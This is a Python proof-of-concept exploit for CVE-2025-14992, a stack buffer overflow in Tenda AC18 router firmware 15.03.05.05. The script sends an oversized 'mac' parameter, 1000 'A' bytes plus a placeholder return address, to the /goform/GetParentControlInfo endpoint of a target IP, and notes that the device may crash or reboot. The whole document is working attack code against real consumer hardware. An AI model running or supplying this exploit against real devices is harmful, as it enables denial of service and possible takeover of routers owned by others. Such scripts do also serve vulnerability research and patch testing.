CVE-2025-14992

#!/usr/bin/env python3 # CVE-2025-14992 PoC - Tenda AC18 Stack Buffer Overflow # Affected: Tenda AC18 firmware 15.03.05.05 # Component: /goform/GetParentControlInfo # Vulnerability: strcpy buffer overflow via mac parameter import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" target_port = 80 # Construct malicious mac parameter to trigger buffer overflow # Fill the buffer and overwrite return address padding = b"A" * 1000 # Buffer overflow payload return_addr = b"\x42\x42\x42\x42" # Target address (needs adjustment) payload = padding + return_addr url = f"http://{target_ip}:{target_port}/goform/GetParentControlInfo" params = {"mac": payload.decode("latin-1")} print(f"[*] Sending exploit to {url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.get(url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Note: Exploit may have caused device crash or reboot")

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